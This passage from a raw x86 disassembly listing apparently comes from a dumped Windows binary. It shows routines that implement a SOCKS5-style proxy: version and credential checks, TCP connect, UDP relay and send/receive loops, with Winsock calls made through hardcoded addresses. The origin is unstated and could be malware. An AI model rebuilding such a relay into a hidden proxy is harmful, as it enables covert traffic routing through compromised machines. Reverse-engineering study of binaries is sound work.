arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 50Ch
push ebx
mov ebx, [esp+510h+arg_4]
push ebp
push esi
push edi
mov [esp+51Ch+var_50C], 0
mov [esp+51Ch+var_508], 0
loc_42A461: ; CODE XREF: sub_42A440+12Cj
mov ebp, [esp+51Ch+arg_0]
mov [esp+51Ch+var_504], 1
mov [esp+51Ch+var_500], ebp
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42A47A: ; CODE XREF: sub_42A440+45j
cmp [ecx], ebx
jz short loc_42A487
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A47A
loc_42A487: ; CODE XREF: sub_42A440+3Cj
cmp eax, 1
jnz short loc_42A498
mov [esp+51Ch+var_4FC], ebx
mov [esp+51Ch+var_504], 2
loc_42A498: ; CODE XREF: sub_42A440+4Aj
lea eax, [esp+51Ch+var_50C]
lea ecx, [esp+51Ch+var_504]
push eax
push 0
push 0
push ecx
push 2
call near ptr 71AB2DC0h
nop
test eax, eax
jbe short loc_42A523
cmp eax, 0FFFFFFFFh
jz short loc_42A523
lea edx, [esp+51Ch+var_504]
push edx
push ebp
call sub_436F60
test eax, eax
jz short loc_42A4CC
mov eax, ebp
mov ebp, ebx
jmp short loc_42A4CE
; ---------------------------------------------------------------------------
loc_42A4CC: ; CODE XREF: sub_42A440+84j
mov eax, ebx
loc_42A4CE: ; CODE XREF: sub_42A440+8Aj
push 0
lea ecx, [esp+520h+var_400]
push 3FFh
push ecx
push eax
nop
call near ptr 71AB615Ah
mov edi, eax
xor esi, esi
cmp edi, 0FFFFFFFFh
mov [esp+edi+51Ch+var_400], 0
jz short loc_42A572
test edi, edi
jz short loc_42A572
jbe short loc_42A51C
loc_42A4FB: ; CODE XREF: sub_42A440+DAj
mov edx, edi
push 0
sub edx, esi
lea eax, [esp+esi+520h+var_400]
push edx
push eax
push ebp
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz short loc_42A572
add esi, eax
cmp esi, edi
jb short loc_42A4FB
loc_42A51C: ; CODE XREF: sub_42A440+B9j
mov ebp, [esp+51Ch+arg_0]
loc_42A523: ; CODE XREF: sub_42A440+70j
; sub_42A440+75j
mov [esp+51Ch+var_500], ebp
mov [esp+51Ch+var_504], 1
xor eax, eax
lea ecx, [esp+51Ch+var_500]
loc_42A535: ; CODE XREF: sub_42A440+100j
cmp [ecx], ebx
jz short loc_42A542
inc eax
add ecx, 4
cmp eax, 1
jb short loc_42A535
loc_42A542: ; CODE XREF: sub_42A440+F7j
cmp eax, 1
jnz short loc_42A554
mov [esp+eax*4+51Ch+var_500], ebx
mov eax, [esp+51Ch+var_504]
inc eax
mov [esp+51Ch+var_504], eax
loc_42A554: ; CODE XREF: sub_42A440+105j
lea ecx, [esp+51Ch+var_50C]
lea edx, [esp+51Ch+var_504]
push ecx
push edx
push 0
push 0
push 2
nop
call near ptr 71AB2DC0h
test eax, eax
jle loc_42A461
loc_42A572: ; CODE XREF: sub_42A440+B3j
; sub_42A440+B7j ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 50Ch
retn 8
sub_42A440 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A5F0 proc near ; CODE XREF: sub_401C1Cj
var_51C = word ptr -51Ch
var_51A = word ptr -51Ah
var_518 = dword ptr -518h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_400 = dword ptr -400h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 51Ch
push ebx
push ebp
mov ebp, [esp+524h+arg_4]
push esi
push edi
mov edx, ecx
movsx eax, byte ptr [ebp+3]
dec eax
mov [esp+52Ch+var_508], 0
mov [esp+52Ch+var_50C], 7
mov [esp+52Ch+var_51C], 2
jz short loc_42A68F
dec eax
jz short loc_42A63A
dec eax
jnz loc_42A782
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42A63A: ; CODE XREF: sub_42A5F0+32j
movsx eax, byte ptr [ebp+4]
mov ecx, eax
lea esi, [ebp+5]
mov ebx, ecx
lea edi, [esp+52Ch+var_400]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov byte ptr [esp+eax+52Ch+var_400], 0
lea eax, [esp+52Ch+var_518]
lea ecx, [esp+52Ch+var_400]
push eax
push ecx
mov ecx, edx
call sub_40174E
test al, al
jz loc_42A782
movsx esi, byte ptr [ebp+4]
mov dx, [esi+ebp+5]
add esi, 7
mov [esp+52Ch+var_51A], dx
jmp short loc_42A6AB
; ---------------------------------------------------------------------------
loc_42A68F: ; CODE XREF: sub_42A5F0+2Fj
mov eax, [ebp+4]
mov esi, 0Ah
mov [esp+52Ch+var_400], eax
mov [esp+52Ch+var_518], eax
mov ax, [ebp+8]
mov [esp+52Ch+var_51A], ax
loc_42A6AB: ; CODE XREF: sub_42A5F0+9Dj
mov ebx, dword_50FC30
push 11h
push 2
push 2
call ebx ; dword_50FC30
push 11h
push 2
push 2
mov edi, eax
call ebx ; dword_50FC30
cmp edi, 0FFFFFFFFh
jz loc_42A782
cmp eax, 0FFFFFFFFh
jnz loc_42A782
mov edx, [esp+52Ch+arg_8]
lea ecx, [esp+52Ch+var_51C]
push 10h
push ecx
sub edx, esi
push 0
add esi, ebp
mov ebp, dword_50FC5C
push edx
push esi
push edi
call ebp ; dword_50FC5C
mov ebx, [esp+52Ch+arg_0]
push 10h
push ebx
push edi
nop
call near ptr 71AB3E00h
test eax, eax
jnz short loc_42A782
loc_42A709: ; CODE XREF: sub_42A5F0+174j
lea eax, [esp+52Ch+var_50C]
lea ecx, [esp+52Ch+var_504]
push eax
push 0
push 0
push ecx
push 1
mov [esp+540h+var_500], 0FFFFFFFFh
mov [esp+540h+var_504], 1
nop
call near ptr 71AB2DC0h
push 0
push 0
push 0
lea edx, [esp+538h+var_400]
push 3FFh
push edx
push edi
call near ptr 71AB2D0Fh
nop
push 10h
mov esi, eax
push ebx
push 0
lea eax, [esp+538h+var_400]
push esi
push eax
push 0FFFFFFFFh
call ebp ; dword_50FC5C
test esi, esi
jbe short loc_42A766
cmp esi, 0FFFFFFFFh
jnz short loc_42A709
loc_42A766: ; CODE XREF: sub_42A5F0+16Fj
mov esi, dword_50FC88
push edi
call esi ; dword_50FC88
push 0FFFFFFFFh
call esi ; dword_50FC88
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 51Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_42A782: ; CODE XREF: sub_42A5F0+35j
; sub_42A5F0+86j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 51Ch
retn 0Ch
sub_42A5F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A810 proc near ; CODE XREF: sub_4013A2j
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = word ptr -81Ch
var_81A = word ptr -81Ah
var_818 = dword ptr -818h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_708 = dword ptr -708h
var_704 = byte ptr -704h
var_604 = word ptr -604h
var_600 = dword ptr -600h
var_5FC = dword ptr -5FCh
var_5F8 = word ptr -5F8h
var_5F6 = byte ptr -5F6h
var_200 = byte ptr -200h
var_100 = byte ptr -100h
arg_0 = dword ptr 4
sub esp, 82Ch
push ebx
push ebp
push esi
mov esi, [esp+838h+arg_0]
cmp esi, 0FFFFFFFFh
push edi
mov ebp, ecx
mov [esp+83Ch+var_828], 0
mov [esp+83Ch+var_82C], 0Bh
mov [esp+83Ch+var_808], esi
mov [esp+83Ch+var_80C], 1
jz loc_42AACA
mov eax, [ebp-8]
mov ecx, [eax+4]
mov ax, [ecx+ebp-2]
cmp ax, 1
jnz loc_42ABE6
mov edi, dword_50FC80
lea edx, [esp+83Ch+var_82C]
push edx
push 0
lea eax, [esp+844h+var_80C]
push 0
push eax
push 1
call edi ; dword_50FC80
test eax, eax
jle loc_42AC73
lea ecx, [esp+83Ch+var_80C]
push ecx
push esi
call sub_436F60
test eax, eax
jz loc_42AC73
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esp+83Ch+var_820], eax
jz loc_42AACA
mov ebx, dword_50FC90
push 0
lea edx, [esp+840h+var_600]
push 2
push edx
push esi
call ebx ; dword_50FC90
cmp byte ptr [esp+83Ch+var_600], 5
jnz loc_42AACA
movsx eax, byte ptr [esp+83Ch+var_600+1]
xor ecx, ecx
lea edx, [esp+83Ch+var_600]
mov [esp+83Ch+var_600], ecx
mov [esp+83Ch+var_5FC], ecx
mov [esp+83Ch+var_5F8], cx
push ecx
push eax
push edx
push esi
mov [esp+84Ch+var_5F6], cl
call ebx ; dword_50FC90
push 0
push 2
push offset dword_445334
push esi
nop
call near ptr 71AB428Ah
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_828], 0
mov [esp+850h+var_82C], 7
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call edi ; dword_50FC80
xor eax, eax
lea edx, [esp+83Ch+var_600]
push eax
mov ecx, 20h
lea edi, [esp+840h+var_600]
push 2
push edx
push esi
rep stosd
call ebx ; dword_50FC90
cmp byte ptr [esp+83Ch+var_600], 1
jnz loc_42AACA
movsx eax, byte ptr [esp+83Ch+var_600+1]
push 0
lea ecx, [esp+840h+var_200]
push eax
push ecx
push esi
call ebx ; dword_50FC90
movsx edx, byte ptr [esp+83Ch+var_600+1]
push 0
lea eax, [esp+840h+var_600]
push 1
push eax
push esi
mov [esp+edx+84Ch+var_200], 0
call ebx ; dword_50FC90
movsx ecx, byte ptr [esp+83Ch+var_600]
push 0
lea edx, [esp+840h+var_100]
push ecx
push edx
push esi
call ebx ; dword_50FC90
movsx eax, byte ptr [esp+83Ch+var_600]
mov ecx, [ebp-8]
mov [esp+eax+83Ch+var_100], 0
mov ecx, [ecx+4]
add ecx, ebp
call sub_4017E4
mov edi, eax
lea ecx, [esp+83Ch+var_200]
loc_42A9DB: ; CODE XREF: sub_42A810+1E9j
mov dl, [ecx]
mov al, dl
cmp dl, [edi]
jnz short loc_42A9FF
test al, al
jz short loc_42A9FB
mov dl, [ecx+1]
mov al, dl
cmp dl, [edi+1]
jnz short loc_42A9FF
add ecx, 2
add edi, 2
test al, al
jnz short loc_42A9DB
loc_42A9FB: ; CODE XREF: sub_42A810+1D5j
xor eax, eax
jmp short loc_42AA04
; ---------------------------------------------------------------------------
loc_42A9FF: ; CODE XREF: sub_42A810+1D1j
; sub_42A810+1DFj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42AA04: ; CODE XREF: sub_42A810+1EDj
test eax, eax
jz short loc_42AA61
mov eax, [ebp-8]
mov ecx, [eax+4]
lea ecx, [ecx+ebp+15h]
call sub_4017E4
lea edi, [esp+83Ch+var_100]
loc_42AA1E: ; CODE XREF: sub_42A810+22Cj
mov dl, [edi]
mov cl, dl
cmp dl, [eax]
jnz short loc_42AA42
test cl, cl
jz short loc_42AA3E
mov dl, [edi+1]
mov cl, dl
cmp dl, [eax+1]
jnz short loc_42AA42
add edi, 2
add eax, 2
test cl, cl
jnz short loc_42AA1E
loc_42AA3E: ; CODE XREF: sub_42A810+218j
xor eax, eax
jmp short loc_42AA47
; ---------------------------------------------------------------------------
loc_42AA42: ; CODE XREF: sub_42A810+214j
; sub_42A810+222j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42AA47: ; CODE XREF: sub_42A810+230j
test eax, eax
jz short loc_42AA61
push esi
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42AA61: ; CODE XREF: sub_42A810+1F6j
; sub_42A810+239j
mov edi, dword_50FC8C
push 0
push 2
push offset dword_445330
push esi
call edi ; dword_50FC8C
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
nop
call near ptr 71AB2DC0h
lea edx, [esp+83Ch+var_80C]
push edx
push esi
call sub_436F60
test eax, eax
jz short loc_42AACA
push 0
lea eax, [esp+840h+var_708]
push 4
push eax
push esi
call ebx ; dword_50FC90
mov eax, [esp+83Ch+var_708+3]
and eax, 0FFh
dec eax
jz short loc_42AB31
sub eax, 2
jz short loc_42AAD9
dec eax
loc_42AAC8: ; CODE XREF: sub_42A810+31Fj
jnz short loc_42AB40
loc_42AACA: ; CODE XREF: sub_42A810+32j
; sub_42A810+93j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42AAD9: ; CODE XREF: sub_42A810+2B5j
push 0
lea ecx, [esp+840h+var_600]
push 1
push ecx
push esi
call ebx ; dword_50FC90
movsx edx, byte ptr [esp+83Ch+var_600]
push 0
lea eax, [esp+840h+var_704]
push edx
push eax
push esi
call ebx ; dword_50FC90
movsx ecx, byte ptr [esp+83Ch+var_600]
lea edx, [esp+83Ch+var_600]
lea eax, [esp+83Ch+var_704]
mov [esp+ecx+83Ch+var_704], 0
mov ecx, [ebp-8]
push edx
push eax
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_40174E
test al, al
jmp short loc_42AAC8
; ---------------------------------------------------------------------------
loc_42AB31: ; CODE XREF: sub_42A810+2B0j
push 0
lea eax, [esp+840h+var_600]
push 4
push eax
push esi
call ebx ; dword_50FC90
loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j
push 0
lea ecx, [esp+840h+var_604]
push 2
push ecx
push esi
call ebx ; dword_50FC90
cmp byte ptr [esp+83Ch+var_708+1], 1
jnz loc_42AACA
mov ebx, [esp+83Ch+var_820]
mov dx, [esp+83Ch+var_604]
mov eax, [esp+83Ch+var_600]
lea ecx, [esp+83Ch+var_81C]
push 10h
push ecx
push ebx
mov [esp+848h+var_81C], 2
mov [esp+848h+var_81A], dx
mov [esp+848h+var_818], eax
call near ptr 71AB406Ah
nop
test eax, eax
jnz loc_42AACA
push eax
push 4
push offset dword_445328
push esi
call edi ; dword_50FC8C
push 0
lea edx, [esp+840h+var_600]
push 4
push edx
push esi
call edi ; dword_50FC8C
push 0
lea eax, [esp+840h+var_604]
push 2
push eax
push esi
call edi ; dword_50FC8C
mov ecx, [ebp-8]
push ebx
push esi
mov edx, [ecx+4]
lea ecx, [edx+ebp-8]
call sub_4020C2
push ebx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
; ---------------------------------------------------------------------------
loc_42ABE6: ; CODE XREF: sub_42A810+47j
cmp ax, 2
jnz loc_42AC73
mov ebx, dword_50FC80
loc_42ABF6: ; CODE XREF: sub_42A810+461j
lea eax, [esp+83Ch+var_82C]
lea ecx, [esp+83Ch+var_80C]
push eax
push 0
push 0
push ecx
push 1
mov [esp+850h+var_808], esi
mov [esp+850h+var_80C], 1
call ebx ; dword_50FC80
lea edx, [esp+83Ch+var_824]
lea eax, [esp+83Ch+var_81C]
push edx
push eax
push 0
lea ecx, [esp+848h+var_600]
push 3FFh
push ecx
push esi
mov [esp+854h+var_824], 10h
call near ptr 71AB2D0Fh
nop
mov ecx, [ebp-8]
mov edi, eax
lea edx, [esp+83Ch+var_600]
push edi
push edx
mov edx, [ecx+4]
lea eax, [esp+844h+var_81C]
push eax
lea ecx, [edx+ebp-8]
call sub_401C1C
test edi, edi
jz short loc_42AC73
cmp edi, 0FFFFFFFFh
jz short loc_42AC73
lea eax, [esp+83Ch+var_80C]
push eax
push esi
call sub_436F60
test eax, eax
jnz short loc_42ABF6
loc_42AC73: ; CODE XREF: sub_42A810+67j
; sub_42A810+7Aj ...
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 82Ch
retn 4
sub_42A810 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 120h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42ADB0 proc near ; CODE XREF: sub_401F19j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
sub esp, 10h
push esi
mov esi, ecx
mov eax, [esi+32h]
test eax, eax
jz short loc_42ADC4
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj
xor eax, eax
mov ax, [esi+6]
dec eax
jz short loc_42ADD6
dec eax
jz short loc_42ADF8
mov word ptr [esi+6], 1
loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj
mov eax, 1
mov ecx, 6
loc_42ADE0: ; CODE XREF: sub_42ADB0+52j
push ecx
push eax
push 2
nop
call near ptr 71AB3B91h
test eax, eax
mov [esi+32h], eax
jnz short loc_42AE04
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej
mov eax, 2
mov ecx, 11h
jmp short loc_42ADE0
; ---------------------------------------------------------------------------
loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj
mov ax, [esi+4]
mov [esp+14h+var_10], 2
push eax
mov [esp+18h+var_C], 0
nop
call near ptr 71AB2B66h
mov edx, [esi+32h]
lea ecx, [esp+14h+var_10]
push 10h
push ecx
push edx
mov [esp+20h+var_E], ax
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42AE49
mov eax, [esi+32h]
push eax
call near ptr 71AB9639h
nop
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42AE49: ; CODE XREF: sub_42ADB0+86j
cmp word ptr [esi+6], 1
jnz short loc_42AE71
mov ecx, [esi+32h]
push 3
push ecx
nop
call near ptr 71AB88D3h
test eax, eax
jz short loc_42AE71
mov edx, [esi+32h]
push edx
nop
call near ptr 71AB9639h
xor al, al
pop esi
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej
; sub_42ADB0+AEj
mov al, 1
pop esi
add esp, 10h
retn
sub_42ADB0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42AEC0 proc near ; CODE XREF: sub_401DBBj
var_24 = byte ptr -24h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42AEC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, ecx
mov [ebp+var_10], esp
mov ax, [edi+6]
cmp ax, 1
jnz short loc_42AF5A
mov eax, [edi+32h]
mov [ebp+var_14], 10h
test eax, eax
jz short loc_42AF41
mov ebx, dword_50FC84
lea ecx, [ebp+var_14]
lea edx, [ebp+var_24]
push ecx
push edx
push eax
call ebx ; dword_50FC84
mov esi, eax
test esi, esi
jnz short loc_42AF26
loc_42AF12: ; CODE XREF: sub_42AEC0+64j
mov edx, [edi+32h]
lea eax, [ebp+var_14]
lea ecx, [ebp+var_24]
push eax
push ecx
push edx
call ebx ; dword_50FC84
mov esi, eax
test esi, esi
jz short loc_42AF12
loc_42AF26: ; CODE XREF: sub_42AEC0+50j
mov eax, [edi]
push esi
mov ecx, edi
mov [ebp+var_4], 0
call dword ptr [eax]
push esi
mov bl, al
call near ptr 71AB9639h
nop
test bl, bl
jnz short loc_42AF7A
loc_42AF41: ; CODE XREF: sub_42AEC0+39j
; sub_42AEC0+9Ej ...
xor al, al
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42AF54: ; DATA XREF: ___:00441F74o
mov eax, offset loc_42AF41
retn
; ---------------------------------------------------------------------------
loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj
cmp ax, 2
jnz short loc_42AF41
mov eax, [edi+32h]
mov edx, [edi]
push eax
mov ecx, edi
call dword ptr [edx]
mov ecx, [edi+32h]
mov bl, al
push ecx
nop
call near ptr 71AB9639h
test bl, bl
jz short loc_42AF41
loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj
mov ecx, [ebp+var_C]
pop edi
pop esi
mov al, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_42AEC0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42AFD0: ; CODE XREF: ___:00401F78j
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset loc_43BB90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
mov esi, [ebp+8]
push edi
mov [ebp-10h], esp
mov dword ptr [ebp-4], 0
mov eax, [esi]
mov ecx, [eax+4]
mov eax, [ecx+esi+32h]
add ecx, esi
push eax
mov edx, [ecx]
call dword ptr [edx]
mov ecx, [esi]
mov edx, [ecx+4]
mov eax, [edx+esi+32h]
push eax
nop
call near ptr 71AB9639h
loc_42B019: ; DATA XREF: ___:loc_42B031o
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov eax, 1
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_42B031: ; DATA XREF: ___:00441FD4o
mov eax, offset loc_42B019
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B060 proc near ; CODE XREF: sub_401C17j
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = word ptr 4
arg_4 = byte ptr 8
arg_1C = byte ptr 20h
push 0FFFFFFFFh
push offset SEH_42B060
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 194h
lea eax, [esp+1A0h+var_19C]
mov [esp+1A0h+var_4], 1
push eax
push 2
nop
call near ptr 71AB664Dh
test eax, eax
jz short loc_42B0D7
loc_42B097: ; CODE XREF: sub_42B060+106j
lea ecx, [esp+1A0h+arg_4]
mov byte ptr [esp+1A0h+var_4], 0
call sub_401226
lea ecx, [esp+1A0h+arg_1C]
mov [esp+1A0h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+1A0h+var_C]
mov large fs:0, ecx
add esp, 1A0h
retn
; ---------------------------------------------------------------------------
loc_42B0D7: ; CODE XREF: sub_42B060+35j
push 42h
call sub_4367FA
add esp, 4
mov [esp+1A0h+var_1A0], eax
test eax, eax
mov byte ptr [esp+1A0h+var_4], 2
jz short loc_42B0FC
push 1
mov ecx, eax
call sub_4014E7
jmp short loc_42B0FE
; ---------------------------------------------------------------------------
loc_42B0FC: ; CODE XREF: sub_42B060+8Fj
xor eax, eax
loc_42B0FE: ; CODE XREF: sub_42B060+9Aj
mov dword_50E3C8, eax
mov ecx, [eax]
mov byte ptr [esp+1A0h+var_4], 1
mov edx, [ecx+4]
mov cx, [esp+1A0h+arg_0]
mov [edx+eax+4], cx
mov eax, dword_50E3C8
lea edx, [esp+1A0h+arg_4]
mov ecx, [eax]
push edx
mov edx, [ecx+4]
lea ecx, [edx+eax+8]
call sub_40200E
lea eax, [esp+1A0h+arg_1C]
push eax
mov eax, dword_50E3C8
mov ecx, [eax]
mov edx, [ecx+4]
lea ecx, [edx+eax+1Dh]
call sub_40200E
mov eax, dword_50E3C8
mov ecx, [eax]
mov ecx, [ecx+4]
add ecx, eax
call sub_401F19
test al, al
jz loc_42B097
loc_42B16C: ; CODE XREF: sub_42B060+11Dj
mov eax, dword_50E3C8
mov edx, [eax]
mov ecx, [edx+4]
add ecx, eax
call sub_401DBB
jmp short loc_42B16C
sub_42B060 endp
; ---------------------------------------------------------------------------
db 90h
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B1D0 proc near ; CODE XREF: sub_4014E7j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
test eax, eax
mov esi, ecx
mov [esp+8+var_4], 0
jz short loc_42B1F2
lea ecx, [esi+8]
mov dword ptr [esi], offset dword_43E190
call sub_4014AB
loc_42B1F2: ; CODE XREF: sub_42B1D0+12j
mov eax, [esi]
mov ecx, [eax+4]
mov dword ptr [ecx+esi], offset off_43E18C
mov edx, [esi]
mov eax, [edx+4]
lea ecx, [eax-8]
mov [eax+esi-4], ecx
mov eax, esi
pop esi
pop ecx
retn 4
sub_42B1D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B240 proc near ; CODE XREF: sub_4014ABj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B240
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8]
call sub_401424
lea ecx, [esi+1Dh]
mov [esp+14h+var_4], 0
call sub_401424
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E19C
mov dword ptr [esi+32h], 0
mov word ptr [esi+6], 1
mov word ptr [esi+4], 0
mov dword ptr [esi+36h], 1000h
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B240 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B2D0 proc near ; CODE XREF: sub_4020D1j
sub ecx, [ecx-4]
jmp sub_4013A2
sub_42B2D0 endp
; ---------------------------------------------------------------------------
align 10h
loc_42B2E0: ; CODE XREF: ___:00401352j
push 0FFFFFFFFh
push offset loc_43BC08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
call sub_401F82
push offset off_443D70
lea ecx, [esi+11h]
mov dword ptr [esp+14h], 0
mov dword ptr [esi], offset off_43E1A0
call sub_4015D7
mov ecx, [esp+8]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4011BD
test [esp+4+arg_0], 1
jz short loc_42B368
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B368: ; CODE XREF: sub_42B350+Dj
mov eax, esi
pop esi
retn 4
sub_42B350 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B380 proc near ; CODE XREF: sub_4011BDj
jmp sub_40179E
sub_42B380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B3A0 proc near ; CODE XREF: sub_40134Dj
var_10 = byte ptr -10h
mov eax, 1000h
call sub_436840
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_42B42C
mov ebx, dword_50FC90
mov ebp, dword_50FC8C
loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj
mov edx, [esi+9Dh]
mov ecx, 400h
xor eax, eax
lea edi, [esp+10h]
rep stosd
push eax
mov eax, [edx+0A5h]
lea ecx, [esp+14h]
push 1000h
push ecx
push eax
call ebx ; dword_50FC90
test eax, eax
jz short loc_42B42C
cmp eax, 0FFFFFFFFh
jz short loc_42B42C
mov edx, [esi+9Dh]
push 0
push eax
lea ecx, [esp+28h+var_10]
mov eax, [edx+0A1h]
push ecx
push eax
call ebp ; dword_50FC8C
test eax, eax
jz short loc_42B42C
cmp eax, 0FFFFFFFFh
jz short loc_42B42C
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz short loc_42B3CC
loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej
; sub_42B3A0+55j ...
mov edx, [esi+9Dh]
pop edi
pop esi
pop ebp
mov eax, [edx+0A1h]
pop ebx
cmp eax, 0FFFFFFFFh
jz short loc_42B448
push eax
call near ptr 71AB9639h
nop
loc_42B448: ; CODE XREF: sub_42B3A0+9Fj
add esp, 1000h
retn
sub_42B3A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B480 proc near ; CODE XREF: sub_401663j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42B480
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset off_443D70
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E1B0
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42B480 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401217
